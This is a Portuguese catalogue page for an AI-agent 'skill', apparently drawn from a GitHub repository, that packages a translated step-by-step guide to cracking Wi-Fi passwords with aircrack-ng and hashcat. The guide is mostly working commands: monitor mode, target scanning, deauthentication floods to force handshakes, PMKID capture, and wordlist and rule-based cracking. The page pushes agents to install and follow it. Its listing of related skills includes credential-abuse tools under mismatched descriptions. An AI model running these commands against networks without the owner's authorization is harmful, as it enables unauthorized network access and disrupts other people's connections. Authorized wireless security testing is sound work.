performing-wifi-password-cracking-with-aircrack
Faz seu agente capturar e quebrar senhas de redes Wi-Fi para avaliar a segurança sem fio.
O que ela faz
Esta ferramenta ajuda a testar a segurança de redes Wi-Fi. Ela captura informações de conexão e tenta adivinhar a senha para verificar se ela é forte o suficiente.
Quando usar
- ✓Testar a força da senha da sua rede Wi-Fi.
- ✓Verificar se a senha da rede Wi-Fi é fácil de adivinhar.
- ✓Avaliar a segurança geral de uma rede Wi-Fi (com permissão).
Exemplo do que pedir para a IA
“Tente adivinhar a senha da rede Wi-Fi 'MinhaCasaWifi' usando uma lista de senhas comuns.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta captura um 'aperto de mão' quando um dispositivo se conecta à rede Wi-Fi. Depois, ela usa programas para tentar várias senhas de uma lista até encontrar a correta.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-wifi-password-cracking-with-aircrackOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-wifi-password-cracking-with-aircrack/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Realizando Quebra de Senhas WiFi com Aircrack-ng
Quando Usar
- Avaliando a força de frases secretas WPA/WPA2/WPA3 durante testes de penetração wireless autorizados
- Testando se redes wireless estão usando senhas fracas ou padrão que podem ser quebradas offline
- Capturando e analisando handshakes de 4 vias para avaliar a segurança de autenticação wireless
- Demonstrando os riscos de WEP, frases secretas WPA2 fracas e ataques baseados em PMKID para partes interessadas
- Validando que redes wireless corporativas usam 802.1X/EAP em vez de chaves pré-compartilhadas
Não use contra redes wireless sem autorização escrita explícita, para interromper comunicações wireless ou para capturar handshakes de redes que você não tem permissão para testar.
Pré-requisitos
- Autorização escrita especificando SSIDs e redes wireless no escopo
- Adaptador wireless com modo monitor e suporte a injeção de pacotes (Alfa AWUS036ACH, Alfa AWUS036ACM ou similar)
- Kali Linux com a suíte aircrack-ng, hashcat e hcxtools instalados
- Listas de palavras de senhas (rockyou.txt, SecLists ou listas personalizadas específicas da organização)
- Sistema com capacidade de GPU para aceleração do hashcat (opcional, mas recomendado para listas de palavras grandes)
Fluxo de Trabalho
Passo 1: Preparar a Interface Wireless
# Identify wireless interfaces
iwconfig
# or
iw dev
# Kill interfering processes
sudo airmon-ng check kill
# Enable monitor mode
sudo airmon-ng start wlan0
# Output: monitor mode enabled on wlan0mon
# Verify monitor mode
iwconfig wlan0mon
# Mode should show "Monitor"
# Alternatively, enable monitor mode manually
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
Passo 2: Escanear Redes Alvo
# Scan all channels for access points
sudo airodump-ng wlan0mon
# Output columns:
# BSSID PWR Beacons #Data CH ENC CIPHER AUTH ESSID
# AA:BB:CC:DD:EE:FF -45 120 35 6 WPA2 CCMP PSK TargetNetwork
# Identify the target network parameters:
# - BSSID (MAC address of the access point)
# - Channel number
# - Encryption type (WPA2-PSK is the target)
# - Connected clients (in the lower section)
# Focus scanning on the target channel
sudo airodump-ng wlan0mon --channel 6 --bssid AA:BB:CC:DD:EE:FF -w capture
Passo 3: Capturar o Handshake de 4 Vias WPA2
# Method 1: Wait for a client to connect naturally
# Keep airodump-ng running and wait for "WPA handshake: AA:BB:CC:DD:EE:FF" message
sudo airodump-ng wlan0mon --channel 6 --bssid AA:BB:CC:DD:EE:FF -w handshake_capture
# Method 2: Deauthenticate a client to force reconnection (active)
# In a separate terminal, send deauth packets to a specific client
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
# Or deauth all clients (broadcast)
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon
# Method 3: Capture PMKID from the AP (no client needed)
# Using hcxdumptool
sudo hcxdumptool -i wlan0mon --enable_status=1 -o pmkid_capture.pcapng \
--filterlist_ap=AA:BB:CC:DD:EE:FF --filtermode=2
# Wait for "PMKID" message, then convert for hashcat
hcxpcapngtool -o pmkid_hash.hc22000 pmkid_capture.pcapng
# Verify handshake was captured
aircrack-ng handshake_capture-01.cap
# Should show: "1 handshake" next to the target BSSID
# Alternative verification with cowpatty
cowpatty -r handshake_capture-01.cap -c
Passo 4: Quebrar com Aircrack-ng (baseado em CPU)
# Crack using rockyou wordlist
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF handshake_capture-01.cap
# Use multiple wordlists
aircrack-ng -w /usr/share/wordlists/rockyou.txt,/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt \
-b AA:BB:CC:DD:EE:FF handshake_capture-01.cap
# Crack with a specific ESSID
aircrack-ng -w /usr/share/wordlists/rockyou.txt -e "TargetNetwork" handshake_capture-01.cap
# If successful, output shows:
# KEY FOUND! [ password123 ]
Passo 5: Quebrar com Hashcat (acelerado por GPU)
# Converter captura para formato hashcat
# Para capturas de handshake:
hcxpcapngtool -o hashcat_input.hc22000 handshake_capture-01.cap
# Ou usar conversão aircrack-ng
aircrack-ng handshake_capture-01.cap -j hashcat_input
# Ataque de dicionário com hashcat
hashcat -m 22000 hashcat_input.hc22000 /usr/share/wordlists/rockyou.txt
# Ataque baseado em regras (transforma palavras do dicionário)
hashcat -m 22000 hashcat_input.hc22000 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
…
Perguntas frequentes
Preciso de permissão para usar esta ferramenta?
Sim, você precisa de permissão explícita e por escrito para testar qualquer rede Wi-Fi que não seja sua.
O que é um 'aperto de mão' (handshake)?
É uma troca de informações de segurança que acontece quando um dispositivo se conecta a uma rede Wi-Fi protegida por senha.
Quais são os pré-requisitos para usar esta ferramenta?
Você precisa de um computador com um sistema operacional específico (Kali Linux), um adaptador Wi-Fi compatível e listas de senhas para testar.
Detalhes
Descrição original do autor
Captures WPA/WPA2 handshakes and performs offline password cracking using aircrack-ng, hashcat, and dictionary attacks during authorized wireless security assessments to evaluate passphrase strength and wireless network security posture. '
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #6173
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
agent-architecture-audit
Faz seu agente verificar se tudo está funcionando corretamente. Ele encontra e conserta problemas em sistemas de IA, garantindo que funcionem como esperado.
affaan-m/ECC
agent-eval
Ajuda seu agente a comparar diferentes ferramentas de programação de IA. Ele mede qual é mais rápido, barato e confiável para realizar tarefas específicas.
affaan-m/ECC
agent-harness-construction
Faz seu agente entender melhor como realizar tarefas. Ele otimiza as ferramentas e instruções que o agente usa para aumentar suas chances de sucesso.
affaan-m/ECC